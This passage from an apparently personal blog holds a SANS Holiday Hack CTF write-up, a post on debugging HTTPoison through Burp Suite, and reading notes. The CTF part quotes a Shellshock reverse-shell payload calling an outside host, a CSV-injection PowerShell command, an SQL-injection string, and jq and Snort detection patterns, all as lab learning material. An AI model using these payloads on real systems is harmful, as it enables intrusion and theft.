  35. 2.230.60.70
  36. 10.155.246.29
  37. 225.191.220.138
  38. 75.73.228.192
  39. 249.34.9.16
  40. 27.88.56.114
  41. 238.143.78.114
  42. 121.7.186.163
  43. 106.132.195.153
  44. 129.121.121.48
  45. 190.245.228.38
  46. 34.129.179.28
  47. 135.32.99.116
  48. 2.240.116.254
  49. 45.239.232.24
    Searching for comments (‘–‘ or ‘#’) doesn’t reveal anything new, nor does there appear to be any suspicious ports or referrers. Hosts, however, reveal new problems: cat ~/Downloads/http.log | jq -c '.[] | select(.["host"] != "-") | select(.["host"] != "srf.elfu.org") | select(.["host"] != "10.20.3.80")' | jq
  50. 200.75.228.240
  51. 168.66.108.62
  52. 80.244.147.207
  53. 95.166.116.45
  54. 123.127.233.97
  55. 65.153.114.120
  56. 61.110.82.125
  57. 227.110.45.126 (which also references ruby in the user-agent: “() { :; }; /usr/bin/ruby -rsocket -e’f=TCPSocket.open(\”227.110.45.126\”,43870).to_i;exec sprintf(\”/bin/sh -i <&%d >&%d 2>&%d\”,f,f,f)'” – worth coming back to this)
  58. 229.229.189.246
  59. 150.45.133.97
  60. 83.0.8.119
  61. 220.132.33.81
  62. 31.254.228.4
    Looking for ‘SELECT’ in the user agent we find:
  63. 0.216.249.31 (is this even an IP address?)
  64. 111.81.145.191
  65. 13.39.153.254
  66. 186.28.46.179
  67. 135.203.243.43
  68. 81.14.204.154
  69. 173.37.160.150
  70. 118.196.230.170
  71. 68.115.251.76
    Searching for non-empty usernames (cat ~/Downloads/http.log | jq -c '.[] | select(.["username"] != "-")' | jq gets us a couple more:
  72. 150.50.77.238
  73. 254.140.181.172
  74. 84.185.44.166
  75. 33.132.98.193
  76. 18.181.152.167 (username ‘-r nessus’ seems suspicious)
    Searching for bin in the url finds another:
  77. 183.55.81.154
    There doesn’t seem to be any way to look at POST content and searching for POSTs that aren’t of type application/json finds nothing. There’s also (remarkably) no 500-level HTTP response codes. I’m out of ideas, so we’ll look for suspicious user agents in the POST data: cat ~/Downloads/http.log | jq -c '.[] | select(.["method"] != "GET") | select(.["user_agent"] | contains("Mozilla") | not) | select(.["user_agent"] | contains("Opera") | not) | select(.["user_agent"] | test("curl"; "i") | not)' | jq but these all look to be crawlers.
    Looking for suspicious user-agents finds a couple more
  78. 142.128.135.10 (Chol)
  79. 103.235.93.133 (Rookie)
  80. 118.26.57.38 (HttpBrowser/1.0)
    While searching for more things to look at, I came across this bad bot list which suggests I may have been premature at filtering out sogou – so let’s include those IPs too:
  81. 244.237.11.120
  82. 239.146.24.123
  83. 215.205.171.147
  84. 187.240.169.253
  85. 111.126.124.138
  86. 159.6.116.125
  87. 145.137.182.157
  88. 13.79.203.204
  89. 86.51.62.211
  90. 90.198.149.117
  91. 123.177.11.115
  92. 216.192.34.55
  93. 225.71.114.231
  94. 15.75.202.56
  95. 249.126.176.16
  96. 82.211.221.76
  97. 45.187.247.92
  98. 96.101.132.73
  99. 139.190.49.96
  100. 119.192.228.135
  101. 28.32.175.65
  102. 71.45.227.12
  103. 85.195.156.18
  104. 48.195.85.13
  105. 165.159.170.52
  106. 149.44.252.108
  107. 253.250.166.99
  108. 75.23.69.40
  109. 109.95.17.253
  110. 235.20.106.47
  111. 189.243.241.53
  112. 124.162.54.64
  113. 4.62.177.217
  114. 48.247.125.128
  115. 69.1.232.50
  116. 83.15.73.34
  117. 101.216.172.105
  118. 119.152.48.12
  119. 6.44.94.179
  120. 125.207.217.22
  121. 95.230.110.111
  122. 32.240.118.86
  123. 56.43.72.4
  124. 229.50.72.67
  125. 48.12.49.221
  126. 147.5.145.244
  127. 160.26.30.216
  128. 163.101.161.181
  129. 23.205.77.104
  130. 31.203.183.126
  131. 75.124.231.232
  132. 121.81.53.219
    On further thought, none of the apis should be used by bots: cat ~/Downloads/http.log | jq -c '.[] | select(.["uri"] | contains("api/measurements") ) | select(.["user_agent"] | test("curl|Opera|Mozilla|Chrome"; "i") | not)| select(.["user_agent"] | test("sogouspider|Sogou web spider|test"; "i") | not)' | jq. These should be blocked by robots.txt, but there doesn’t appear to be one.
  133. 209.25.213.141
  134. 245.62.174.98
  135. 246.120.98.216
  136. 151.140.152.23
  137. 34.242.9.215
  138. 45.126.250.155
  139. 12.212.124.233
  140. 156.213.33.111
  141. 228.177.119.39
  142. 22.157.139.203
  143. 158.33.84.144
  144. 213.188.168.148
  145. 26.119.89.191
  146. 174.38.253.109
  147. 220.47.246.182
  148. 98.118.56.219

Now that we have way more than 100 IPs, we need to figure out how to login so we can actually block them. I’ve already tried searching for passwords and found nothing, and I vaguely remember a comment about it being the ‘default’ credentials but there’s nothing in the Host headers or HTML head to indicate what these might be.

Let’s see if there are any interesting files on the website: cat ~/Downloads/http.log | jq -c '.[] | select(.["status_code"] == 200)' | jq ".uri" | sort | uniq
Sure enough, there’s a README.md file which we can access which reveals the login details.

Blocking all the above IP addresses doesn’t work; presumably there are too many false-positives.

So I guess we should try to simplify this; based on what we learnt before, we can search for all IPs showing LFI, XSS, Shellshock and SQLi with the following command, switching out the attribute to include all of uri, user_agent, username and host:

cat ~/Downloads/http.log | jq -c '.[] | select(.["user_agent"] or contains("..") or contains("/etc/") or contains("/password") or test("alert\\("; "i") or contains("{}") or contains("()") or contains("'"'"'") or test("SELECT "; "i") | .["id.orig_h"]

That gives us a list of IP addresses, but these still aren’t enough. It seems tempting to me to block all of the bad user agents listed in the bad bot list link above, and to block anything that is using a hostname that isn’t correct (there are a bunch using ssru.elfu.org and a bunch using the IP address which seems to be typical of scanners; ordinary users are likely to just use the DNS name).
But between the hint of pivoting and some hints from the Slack community, it seems we should look at the user_agents from the attacks found above. If we re-run the commands above switching .["id.orig_h"] with .["user_agent"] we can then look for other requests sharing the same user agent.
There are heaps that only have two requests; the dodgy one and another benign-looking request which probably indicates that they were both made by the same user. If we add these to the block list, we get our route successfully calculated:

I feel like I’m missing some logic though; if the user changed IPs once, they’re likely to do so again. So blocking their current IP doesn’t seem too useful.
We definitely should be changing the username/password and not storing it publicly!

Story

After completing Objective 12, we can then go up to the Bell Tower to save the holidays. This gives us a “You won” achievement, giving us a total of 23 achievements (10 terminal challenges + 12 objectives). However, in the dev tools console, the con initial state is printed:

so which two achievements are we missing?

Let’s do some recon and try to find something more!
Searching on VirusTotal show us mostly the sites we know about;

but I don’t recall coming across qa.elfu.org. It’s possibly just a testing site and doesn’t have port 80 (HTTP) or 443 (HTTPS) running.
We can run nmap to see that it’s just an SSH server:

and I can’t login as guest. I’m not certain this is part of the scope, so I’m not going to test that any further.

I also tried Twitter, in the hope that someone might have tweeted when they solved one of the unknown achievements, but either no one had, or my Google-foo isn’t strong enough (especially since they limit to 32 characters).

I still have a couple of unsolved mysteries:

  • Krampus notes he got 31.8% of the prizes for the Frido Sleigh contest and he’ll “have to figure that one out”. Why? Who got the rest?
  • Where is Jack Frost? The Tooth-Fairy leaves a note saying he helped.
  • “The code is 7331” is scrawled on a wall in the dorm, but I’m not sure where to use this code.
  • Is Scooby Doo involved? The Tooth-Fairy makes a clear reference to them in the Bell Tower.

Talks

Threat hunting

This is an interesting talk about using Rita (with Zeek) to detect command and control connections, even when the malware uses random jitter to try to avoid IDS. It looks at connection intervals, data sizes and overall length, and can be used to find both malware and backdoors.
Strand then goes on to talk about Honeybadger, a tool for geolocating attackers, and how he used it successfully with a big German bank (along with a bonus talk on why you should definitely book hotels in questionable neighbourhoods when you have kids with you).

Dashing through the logs

This is a good intro to Splunk. I’ve already used Splunk a little, so my key takeaways were:

  • Adding a pipe to the start of the command means you’re specifying a generator command rather than searching the actual logs.
  • We can use eval to add a new field in the results (eg eval hex_convert_to_pid=tonumber(New_Process_Id,16))
  • the output of a search can be piped to stats to get information about the fields relating to the search output.

Reversing Crypto the Easy Way

This talk didn’t start off too well for me; there’s a link to a blog and I ended up going down the rabbit hole of reading about lock picking.
Once I returned to the talk, I was grateful for the link to the resources on Github.

Sans Holiday Hack

Terminal Challenges

  • Essential Editor Skills – :Q
  • The Name Game – started with “localhost; & ls”.
  • CURLing master – curl –http2-prior-knowledge
  • Stall Mucking Report – ps -eLF
  • Escape Python – Thanks for the interesting talk.
  • Devops Fail – git log and git diff work wonders here.
  • The Sleighbell – I’ve been meaning to play with gdb so this was pretty awesome. The commands nexti, layout asm and set variable <variable> = <value> commands.
  • Lethal Forensics ELFication – ls -a shows the .viminfo and .secrets. .viminfo shows that “Elinore” has been substituted with “NEVERMORE” and .secrets contains the poem in question which is clearly an homage to The Raven.
  • Yule Log Analysis – probably not the best way, but grep for failed logins showed that the attacker used the same IP address each time so I just had to figure out which account the IP successfully logged into.

Objectives

    1. What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?

      Happy Trails – I found all the answers in the KringleCon welcome address except for question 4. I’m not sure if I missed a mention of it in the talk, but the objective mentions getting a hint by helping with a Cranberry Pi terminal challenge so…

    2. Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?

      John McClane. Clicking on the CFP link takes us to /cfp/cfp.html. Conveniently, the cfp/ directory is public and contains “rejected-talks.csv” which is also public so it’s as simple as ctrl+f in that file.

    3. The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?

      Welcome unprepared speaker! The hint about the de Brujin sequence was rather helpful in this case since the code is equivalent to a k=4 sized alphabet with a string length of n=4. Fortunately, the answer was pretty early on in the generated de Brujin sequence since that’s still pretty long.

    4. Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?

      Yippee-ki-yay. I’d love to say that I installed and used TruffleHog after watching the talk on it, but I honestly didn’t get around to watching that talk until after. Instead, I just scrolled through the commit history, found the suspiciously titled “removing accidental commit” and viewed the change there.

    5. Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)?

      LDUBEJ00320@AD.KRINGLECASTLE.COM. This took me a bit longer to solve.

      My first problem was that I couldn’t get the VM to run (turns out a 64-bit image won’t work well if VirtualBox tries to run it as a 32-bit image).

      Next, I (thought I) needed to figure out what the question even meant since I’d never heard of “Kerberoastable” before. I found a bit of an explanation here in the ## Kerberoasting section which I think means that any user who can authenticate to a Kerberos TGS is a Kerberoastable service.

      Thanks to the elf’s hints, I then looked into BloodHound and started to try to figure out the Cypher query language before I found that it’s already a prebuilt query (“Shortest Path to Domain Admins from Kerberoastable users”).

      Selecting the prebuilt query shows us a number of potential Kerberoastable users.  The objective mentions “Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws”), so if we add this filter, then we selecting the inbuilt query shows us only one path with Domain Admins at one end and Leanne at the other.

    6. Bypass the authentication mechanism associated with the room near Pepper Minstix.

      19880715 The elf’s hint that this is a SQL injection vulnerability and the link to the QR code generator made this pretty easy for me.

      My typical SQL injection test of x' OR '1' = '1 revealed the helpful error message of  “Authorised user account has been disabled” so then just adding enabled = True AND between the OR and ‘1’ got me through. Then it was just a challenge to remember the number before it disappeared off the screen!

    7. Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with “K”?

      Fancy Beaver. Brilliant.

      The talk on CSV injection was fantastically helpful for this objective and got me most of the way there. I wasted a bit of time trying to set up a reverse shell before stumbling upon the website’s 404 error (“Publicly accessible file served from:

      C:\careerportal\resources\public\ not found……”) so then it was just a matter of creating the command:

      ” =CMD|’ /C powershell.exe Copy-Item c:\candidate_evaluation.docx -destination c:\careerportal\resources\public\zysygy.docx’!A1″ ,

      fiddling with spaces (it seemed like the space before the ‘ =CMD’ was necessary – maybe the website was filtering cells starting with ‘=’ like the OWASP page suggests doing?) and then waiting for the link to work.

    8. Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?

      Mary had a Little Lamb. I really struggled with this objective and have to thank the wonderful CentralSec slack community for their hints.

      My first thought was to register and log in – registering seemed to work fine but logging in didn’t work.

      So then I decided to use the elf’s hints and watch the HTTP2 talk which made it reasonably easy to capture and decrypt HTTP 2 packets in Wireshark (it took me a little time to figure out how to get the keys out of Chrome; turns out all windows have to be closed before the keys are flushed). Of course that’s not the traffic I need.

      My next idea was to check if maybe the register function was broken and maybe there was a way to bypass it, so I dived into the register code and found the “check_user_or_email” method – which shows how to conveniently perform username enumeration. Messing around with it meant I quickly discovered the existence of a user named “admin” but was otherwise unhelpful.

      I then wondered if maybe something was going wrong with the login function so used curl to poke at that. Providing the username and password that I’d signed up didn’t provide a helpful message but omitting the password lead to an interesting ”

      TypeError: Cannot read property ‘constructor’ of undefined” message which lead me to wonder if a deserialisation attack might be possible.

      I wasted a fair amount of time Googling to try to find how to test that theory and discovered that the server was probably running Nodejs, but found nothing else of note so, needing a break, I decided to try to guess the password of the ‘admin’ user I previously discovered. I wasn’t expecting this to work so I wasn’t really surprised when admin/admin returned the “invalid username or password” error message but was pretty surprised by the “TypeError: Cannot read property ‘PASESSION’ of undefined” message when I tried admin/password.

      So logging in through my browser revealed the ability to capture traffic – now all I needed was to find the key to decode it.

      A hint from the CentralSec slack about the information revealed in the code comments made me realise that I was looking for “app.js” – and I quickly found the /dev folder and started hunting for the names of folders where I’d store code (/app, /src, /wwwroot, etc) to no avail. It took me a long time to consider checking alongside the client-side JavaScript files.

      After reading app.js, I went hunting for the log file – it didn’t take too long to figure out that the environment variable mapped to “http2packalyzer_clientrandom_ssl.log” but it took far too long to figure out that the environment variable wasn’t printing correctly (thanks ken from the Slack channel for hinting that I should try ‘printenv’ locally!)

      From there, everything seemed pretty simple; I captured traffic using the packalyzer’s admin account and used the keys in dev/clientrandom_ssl.log to decrypt it. One of the packets captured alabaster logging in (with ‘alabaster’ as his username and ”Packer-p@re-turntable192″ as the password) and from there I could log into his account and steal super_secret_packet_capture.pcap. I learnt that SMTP isn’t encrypted so using the “follow tcp” option in Wireshark and then filtering to only view the traffic one way, I could save the file with a .eml extension and open it in my local mail client to open the pdf.

    9. Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks.

      • Snort challenge (“Congratulation! Snort is alerting on all ransomware and only the ransomware!”)I hadn’t heard of Snort before so I had to delve into it a little and found this blog extremely helpful, along with the docs and googling ‘regex snort’. All the malware seemed to be requesting a server in the form of .., so I originally planned to have my rule be alert udp any any -> any any (msg: “Suspicious DNS lookup”; pcre: “/[0-9A-F]{20,}\.[a-z]+\.(co|org)/”. Which naturally did not work. Using the recommended snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf command quickly showed that nothing was matching (I suspect because of all the syntax errors) so I went back to nothing and started slowly building back to that:alert udp any any -> any any (msg: “Suspicious DNS lookup”; sid: 1000001; ) worked but matched everything, of course.alert udp any any -> any any (msg: “Suspicious DNS lookup”; pcre: “/.*[0-9A-F]{20,}.*/“; sid: 100001;) was sufficient to match all the malware without picking up anything else, so I left it there. I suspect there aren’t too many legitimate websites with names containing only hex characters that are longer than 20 characters, but I’d want to do more research (to decide if it might catch real traffic or to decide if it could be relaxed a bit incase the malware requests shorter urls) if this was going to be a real rule.
      • Identify the Domain

        I found a wonderful python script to extract the script. The H2A function is .NETStandard 2.0 compliant so pwsh could be used to decrypt the string. Unfortunately, Resolve-DnsName is not yet in .NETStandard so I had to acquire Windows to decrypt the rest.

      • Stop the Malware

        The malware stops if either the domain identified above exists, or there’s already a server running on 127.0.0.1:8080 or it’s running in a domain other than “KRINGLECASTLE”.

      • Recover Alabaster’s password

        ED#ED#EED#EF#G#F#G#ABA#BA#B This had me a bit lost – WinDbg only showed me when the memory dump was running (at least, as far as I could find) and Volatility on Kali wouldn’t recognise the dump at all. el_barbado kindly reminded me about the KringleCon talk which helped a heap (and would’ve helped with the earlier challenges too!). From there, I used python_dump and quickly found the sha1 hash of the password (b0e59a5e0f00968856f22cff2d6226697535da5b was the only 40-character hex string). I naively thought that since I’d heard about SHA-1 attacks, this would help me find the solution. In retrospect, of course rainbow tables won’t help with a randomly-generated key and my laptop with hashcat and 8GB of RAM is not likely to crack the key (I don’t think that’s quite what Wikipedia means when they refer to a ‘well-funded opponent’). I had been meaning to learn about hashcat anyway, at least, so it was a good excuse to watch another good talk.I then looked at the malware a bit more closely and saw that it’s generating a symmetric key for encrypting the files and sends an encrypted form (p_k_e_k) of that to the hacker (presumably).

        p_k_e_k is in the dump, but again, this wasn’t going to be brute-forceable. The elf’s hint about DNS flaws leaking private keys lead to a futile search to see if the private key had been accidentally sent to the malware along with Google searches to try to find out what happened in reality (I might need to work on my Google skills – all I could find was DNS cache poisoning and the wannacry kill switch.

        A hint on Twitter lead me to try to actually figure out how the Resolve-DnsName actually worked – the second request was accessing “source.min.html” so after decoding “7365727665722E637274”, I finally realised I should run ​`​g_o_dns A2H “server.key”`

        I used the returned private key with Python to decrypt the symmetric key “fbcfc121915d99cc20a3d3d5d84f8308”, used that to decrypt the database and used DB Browser for SQLite (maybe not the best time to add more SQLite systems to my computer) to decrypt the database.

    10. Who is behind it all?

      Santa! Initially I transposed Mary Had a Little Lamb into D, which didn’t work. When I finally realised I should be using the Rachimaninoff password, it was pretty easy to transpose since it’s just moving everything back one step – { E: D, D#: C#, F#: E, G#: F#, A: G, B: A }.

Key Takeaways

  • Hack Dumberly not Harderer is definitely right. I wasted a fair amount of time looking into deserialisation attacks when I should’ve just tried to guess the admin user’s password. Likewise, I spent some time trying to guess folder names in the packalyzer challenge when I should’ve started off by looking at the folders already shown to me.
  • Watch the videos! They’ve been fantastic and could’ve saved me a bit of time if I’d watched them before solving the puzzles rather than after.
  • The info-sec community is amazing – thanks for all the effort put into making this CTF (and not even charging me for it!), for all the knowledge that was shared in the talks and for the Slack and Twitter community; without their hints I doubt I would’ve finished all the objectives.

Debugging HTTPoison with Burp Suite

Background

Lately, I’ve been trying to build a website in Phoenix to allow me to simultaneously slack off and learn Māori. The idea is that I can give it the vocab I’m trying to learn, and then waste time like I often do browsing the web – mainly reading websites like Reddit – and have it automatically translate my vocab for me. I hacked together a (pretty terrible) Chrome extension that does this, and it seems to work really well at helping me retain new words that I’m trying to learn.

But the extension isn’t great – it messes up HTML formatting and doesn’t seem like a good long-term solution (what if I finally join the modern world and start using an iPad or something? Or Chrome changes it’s extension policies? Or I decide to switch to Firefox?) Plus, I would like to learn Elixir and this seemed like a good project to do so.

Everything was going reasonably well, until I realised that I’d only tested on static sites; Wikipedia translates fine. Reddit, however, does some Javascript magic for formatting or something – so the text was all there, but none of it displayed. At this stage, I’m still not sure why, but I figured it would help to step through the HTTP requests that my browser was making and see if I could find out what was different between my website-proxied version and the normal Reddit version.

Problem

To try to figure out what was going on, I figured my best bet was to use Burp Suite since I’d started playing with it after reading The Web Application Hackers Handbook – and it’s easy and reasonably nice to use.

I’m using HTTPoison in my application to request sites, so I updated the proxy settings:

[follow_redirect: true, ssl: [{:versions, [:"tlsv1.2"]}], proxy: '127.0.0.1:8080']

 

Instead of the numerous requests from my website in Burp’s HTTP history that I was expecting, my site reported an error:Screen Shot 2018-09-23 at 3.50.45 PM.png

There are a number of Github issues pointing to a problem with Hackney which suggest:

Unfortunately, none of those options worked for me.

Solution

I briefly looked into the Erlang code where the error occurs – not enough to figure out what’s actually going wrong, but enough to notice this comment

%% ASN-1 decode of certificate somehow failed

which made me wonder if there might be something wrong with certificate being generated by Burp Suite.

I still haven’t looked into it in any great depth yet – I keep getting distracted by other things – but a work-around is to change Burp Suite’s settings to use a self-signed certificate rather than generating one per-host:Screen Shot 2018-09-23 at 4.16.04 PM.png

 

OpenSSL and Chrome both think the generated CA-signed certificate is fine – and Chrome rejects the self-signed certificate, so I’d guess there might be something wrong with the Erlang ssl library. I hope to get a change to come back to this at some point and figure out what is actually going wrong – but for now, I’m content with the bypass.

Artificial Intelligence Sources

A Visual Intro to Machine Learning

This is a simple and stunning, but basic, introduction to how machine learning works. Part one is a great explanation for how decision trees work and introduces the problem of over-fitting, while part two explains why overfitting happens and discusses the tradeoff between bias and variance.
This will be pretty basic for anyone who’s done a course on AI or anything equivalent, but it’s visually stunning and a very short read so I think it’s worth a read anyway. I’m definitely looking forward to part 3.

An introduction to the Backpropagation Algorithm

This is a very short/basic but slightly math-heavy intro to back-prop in neural networks.

Security Resources

The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws

The Web Application Hacker’s Handbook is a good general introduction to web security and the steps you should take when looking for security flaws, which is summarised quite well in the final chapter with this image: image132.jpg

 

Secure Code Lessions from Have I Been Pwned

This is a fascinating podcast episode with Troy Hunt from Have I Been Pwned which covers topics such as the Nissan Stack Overflow code reuse, the Ashley Madison data breach, the We-Vibe spying vibrator, Cloudflare and 1Password.

Some thoughts on security after ten years of qmail 1.0

  1. Don’t chase attackers.
  2. The principle of least privilege is a distraction.
  3. Security is more important than speed.
  4. Reduce the bug rate.
  5. Eliminate code.
  6. Think about the Trusted Code Base. 

I discovered a browser bug

This is a reasonably short post about how the (not fully standardised) Range header and no-CORS requests interacted to cause problems, along with a longer rant on Microsoft’s handling of the issue.

General Notes